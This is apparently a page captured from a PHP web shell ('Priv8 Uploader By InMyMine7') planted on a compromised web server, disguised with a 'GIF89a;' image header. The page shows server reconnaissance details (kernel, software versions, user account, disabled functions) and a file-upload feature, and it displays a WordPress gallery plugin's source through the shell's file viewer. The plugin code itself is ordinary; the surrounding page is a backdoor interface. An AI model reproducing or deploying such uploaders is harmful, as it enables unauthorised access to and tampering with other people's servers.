GIF89a;

Priv8 Uploader By InMyMine7

Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
root@viangans
HEX
Server: Apache/2.4.65 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
User: fluxionuser (1005)
PHP: 8.3.28
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
Upload Files
File: /home/fluxionuser/web/kastudio.in/public_html/wp-content/plugins/sirv/plugdata/sirv-gallery.php
<?php

defined( 'ABSPATH' ) or die( 'No script kiddies please!' );

class Sirv_Gallery
{
    private $params;
    private $items;
    private $captions;
    private $initialized = false;
    private $inline_css = array();
    //private $network_type;

    public function __construct($params=array(),$items=array(),$captions=array())
    {
        $this->params = array(
            'width'     => 'auto',
            'height'    => 'auto',
            'is_gallery'=> false,
            'profile'   => false,
            'default_profile' => get_option('SIRV_SHORTCODES_PROFILES'),
            'link_image'=> false,
            'show_caption'=> true,
            'thumbnails_height' => 80,
            'apply_zoom'=> false,
            'gallery_styles' => '',
            'gallery_align' => '',
            'zgallery_data_options' => array(),
            'zgallery_thumbs_position' => 'bottom',
            'spin_options' => array(),
            'global_options' => array(),
        );

        foreach($params as $name=>$value) {
            $this->params[$name] = $value;
        }

        if (empty($this->params['id'])) {
            $this->params['id'] = substr(uniqid(rand(),true),0,10);
        }

        $this->params['id'] = 'sirv-gallery-'.$this->params['id'];

        //$this->network_type = isset($this->params['global_options']['networkType']) ? $this->params['global_options']['networkType'] : 'cdn';

        $this->items = $items;
        $this->captions = $captions;

        return true;
    }

    public function render_data_options($data_options_arr, $type){
        if(empty($data_options_arr)) return '';

        $data_options_str = '';
        foreach ($data_options_arr as $key => $value) {
            if($key == 'thumbnails'){
                $data_options_str = "{$key} : #sirv-thumbs-box-" . $this->params['id'] . "; ";
            }else{
                $data_options_str .= $type == 'data' ? "{$key} : {$value}; " : "{$key}={$value}&";
            }
        }

        $data_options_str .= $this->thumbs_orientation($type);

        $data_options_str = substr($data_options_str, -1) == '&' ? substr($data_options_str, 0, -1) : $data_options_str;
        return $data_options_str;
    }

    public function thumbs_orientation($type){
        if($type !== 'data') return '';

        $orientation = ' thumbnails-orientation:horizontal;';
        switch ($this->params['zgallery_thumbs_position']) {
            case 'left':
            case 'right':
                $orientation = ' thumbnails-orientation:vertical;';
                break;
        }

        return $orientation;
    }


    public function addCss($rule) {
        $this->inline_css[] = $rule;
    }


    public function getSpinParams($size){
        return "image&w=$size&h=$size&canvas.width=$size&canvas.height=$size&scale.option=fit";
    }


    public function fixUrl($url){
        $sirv_cdn_url = get_option('SIRV_CDN_URL');

        $p_url = parse_url($url);
        $m_url = 'https://' . $sirv_cdn_url . $p_url['path'];

        return $m_url;
    }


    public function getInlineCss() {
        return join("\r\n",$this->inline_css);
    }


    public function render() {
        if (count($this->items)==0) return '';

        $styles = array();
        if ($this->params['width']!='' && intval($this->params['width']) !== 0) {
                $this->addCss('#'.$this->params['id'].' { width: '.((preg_match('/%/',$this->params['width'])) ? intval($this->params['width']).'%' : intval($this->params['width']).'px').' }');
        } else {
            $this->addCss('#'.$this->params['id'].' { min-width: 200px; }');
        }

        $this->addCss('.sirv-hidden { display:none; }');
        $this->addCss('#'.$this->params['id'].'.sirv-thumbs-box, #'.$this->params['id'].' .sirv-zoom-thumbnails.thumbs-horizontal { height: '.($this->params['thumbnails_height']).'px !important; }');
        $this->addCss('#'.$this->params['id'].'.sirv-thumbs-box, #'.$this->params['id'].' .sirv-zoom-thumbnails.thumbs-vertical{ width: '.($this->params['thumbnails_height']).'px !important; }');
        $this->addCss('#'.$this->params['id'].'.sirv-thumbs-box, #'.$this->params['id'].' .fullscreen-mode .sirv-zoom-thumbnails.thumbs-vertical{ width: auto !important; }');


        $this->addCss('sirv-gallery.selectorsRight:not(.no-sirv-zoom) .sirv-thumbs-box{ flex-basis: '. $this->params['thumbnails_height'] .'px; width: '. $this->params['thumbnails_height'] .'px; }');
        $this->addCss('sirv-gallery.selectorsLeft:not(.no-sirv-zoom) .sirv-thumbs-box{ flex-basis: '. $this->params['thumbnails_height'] .'px; width: '. $this->params['thumbnails_height'] .'px; }');
        $this->addCss('sirv-gallery.selectorsTop:not(.no-sirv-zoom) .sirv-thumbs-box{ flex-basis: '. $this->params['thumbnails_height'] .'px; height: '. $this->params['thumbnails_height'] .'px; }');

        $this->addCss('div.sirv-gallery.selectorsLeft:not(.no-sirv-zoom) .sirv-gallery-item{ padding-left: '. (intval($this->params['thumbnails_height']) + 10) .'px;}');
        $this->addCss('div.sirv-gallery.selectorsRight:not(.no-sirv-zoom) .sirv-gallery-item{ padding-right: '. (intval($this->params['thumbnails_height']) + 10) .'px;}');
        $this->addCss('div.sirv-gallery.selectorsTop:not(.no-sirv-zoom) .sirv-gallery-item{ padding-top: '. (intval($this->params['thumbnails_height']) + 10) .'px;}');

        $html[] = '<div class="sirv-gallery selectors'. ucfirst($this->params['zgallery_thumbs_position']). ' '.$this->params['gallery_align'].' '.(($this->params['is_gallery'])?' is-sirv-gallery':' no-gallery').((!$this->params['apply_zoom'])?' no-sirv-zoom':'').' '.$this->params['gallery_styles'].'" id="'.$this->params['id'].'">';

        $profile = ((bool)$this->params['profile'])?'?profile='.$this->params['profile']:'';

        if($profile =='' && !empty($this->params['default_profile'])){
            $profile = '?profile=' . $this->params['default_profile'];
        }

        $spins = $spins_html = $images = array();

        $sirv_class = '';

        foreach($this->items as $i=>$item) {
            $caption = htmlspecialchars($this->captions[$i]);
            $caption_tag = ($this->params['show_caption'] && !$this->params['apply_zoom'])?'<div class="sirv-caption">'.$caption.'</div>':'';

            $item['url'] = $this->fixUrl($item['url']);

            $im_w = (int) $item['image_width'];
            $im_h = (int) $item['image_height'];
            //$im_proportion = ($im_w == 0 || $im_h == 0) ? 0 : ($im_w > $im_h) ? ($im_h/$im_w)*100 : 100;
            $im_proportion = ($im_w == 0 || $im_h == 0) ? 0 : ($im_h/$im_w)*100;
            //echo floor($im_proportion*100)/100;

            $max_width = '';
            $sub_div_style = ($im_proportion == 0) ? '' : 'style="position:relative; padding-bottom:'.(int)$im_proportion.'%; line-height: 0px; height: 0px; margin: auto;"';
            $img_style = $sub_div_style == '' ? '' : 'style="position:absolute; top:0; left: 0; bottom: 0; right: 0; margin: auto;"';

            //preg_match('/\.(mp4|mpg|mpeg|mov|qt|webm|avi|mp2|mpe|mpv|ogg|m4p|m4v|wmv|flw|swf|avchd)/is', $item['url'])
            if (preg_match('/\.spin/is',$item['url'])) {
                $paramSymbol = $profile == '' ? '?' : '&';
                $uri_options = $paramSymbol . $this->render_data_options($this->params['spin_options'], 'uri');
                $spins_html[$i] = '<div data-item-id="'.$i.'" class="sirv-gallery-item'.($this->params['apply_zoom'] || ($this->params['is_gallery']&&$i>0)?' sirv-hidden':'').'"><div class="Sirv" data-src="'.$item['url'].$profile. $uri_options . '"></div>'.$caption_tag.'</div>';
                $spins[$i] = $item['url'].$profile;
                $image_captions[] = '';
            }else {

                $image_captions[] = $this->captions[$i];

                if (!isset($defaultCaption)) {
                    $defaultCaption = $this->captions[$i];
                }

                $open_tag = ($this->params['link_image'])?'<a href="'.$item['url'].$profile.'">':'';
                $close_tag = ($this->params['link_image'])?'</a>':'';

                if ($this->params['apply_zoom']) {
                    $images[$i] = '<img data-title="'.$caption.'" class="Sirv" data-src="'.$item['url'].$profile.'"/>';
                } else {
                        $sirv_class = ($i == 0) ? 'Sirv' : '';
                        $images[$i] = '<div '.$max_width.' data-item-id="'.$i.'" class="sirv-gallery-item'.(($i>0 && $this->params['is_gallery'])?' sirv-hidden':'').'"><div '.$sub_div_style.'>'.$open_tag.'<img '.$img_style.' data-title="'.$caption.'" class="'. $sirv_class .'" data-src="'.$item['url'].$profile.'"/>'.$close_tag.'</div>'.$caption_tag.'</div>';
                }
            }
        }

        if ($this->params['is_gallery']) {
            if ($this->params['apply_zoom']) {
                $data_options = $this->render_data_options($this->params['zgallery_data_options'], 'data');
                $html[] = '<div data-item-id="sirv-zoom" class="sirv-gallery-item"><div class="Sirv" data-id="'.$this->params['id'].'" data-effect="zoom" data-options="'. $data_options .'">';
            }

            $html[] = join('',$images);

            if ($this->params['apply_zoom']) {
                $html[] = '</div></div>';
            }
            $html[] = join("\r\n",$spins_html);

            if ($this->params['apply_zoom'] && $this->params['show_caption']) {
                if (empty($defaultCaption)) {
                    $defaultCaption = '';
                }
                $html[] = '<div class="sirv-caption sirv-zoom-caption" style="display: none;">'.$defaultCaption.'</div>';
            }
$html[] = '<div class="sirv-thumbs-box" id="sirv-thumbs-box-'.$this->params['id'].'">';
            if ($this->params['is_gallery'] && !$this->params['apply_zoom'] && count($this->items) > 1) {
                $html[] = '<ul>';
                foreach($this->items as $i=>$item) {
                    $caption = htmlspecialchars($this->captions[$i]);
                    $t_height = $this->params['thumbnails_height'];
                    //$item['url'] = $this->network_type == 'cdn' ? str_replace('.sirv.com', '-cdn.sirv.com', $item['url']) : $item['url'];
                    $html[] = '<li'.(($i==0)?' class="sirv-thumb-selected"':'').'>
                                <img title="'.$caption.'" alt="'.$caption.'" data-item-id="'.$i.'" src="'.$item['url'].$profile.((empty($profile))?'?': '&').
                                ((preg_match('/.*\.spin$/is', $item['url'])) ? $this->getSpinParams($t_height): "thumbnail=$t_height").'"/></li>';
                }
                $html[] = '</ul>';

            }
            $html[] = '</div>';

        } else {
            $images = $spins_html+$images;
            ksort($images);

            foreach($images as $image) {
                $html[] = $image;
            }
        }

        $html[] = '</div>';

        $spins = ($this->params['is_gallery'] && $this->params['apply_zoom'] && count($spins))?json_encode($spins):'[]';

        $image_captions = json_encode($image_captions,JSON_HEX_APOS);
        $captions = json_encode($this->captions,JSON_HEX_APOS);


        $html = join("\r\n",$html);

        $html = preg_replace('/<div/i','<div data-spins=\''.$spins.'\' data-captions=\''.$captions.'\' data-image-captions=\''.$image_captions.'\' data-thumbnails-height="'.$this->params['thumbnails_height'].'"',$html,1);
        // $html = preg_replace('/<div/i','<div data-spins=\''.$spins.'\' data-captions="'.$captions.'" data-image-captions="'.$image_captions.'" data-thumbnails-height="'.$this->params['thumbnails_height'].'"',$html,1);

        return $html.'<style type="text/css">'.$this->getInlineCss().'</style>';

    }
}

?>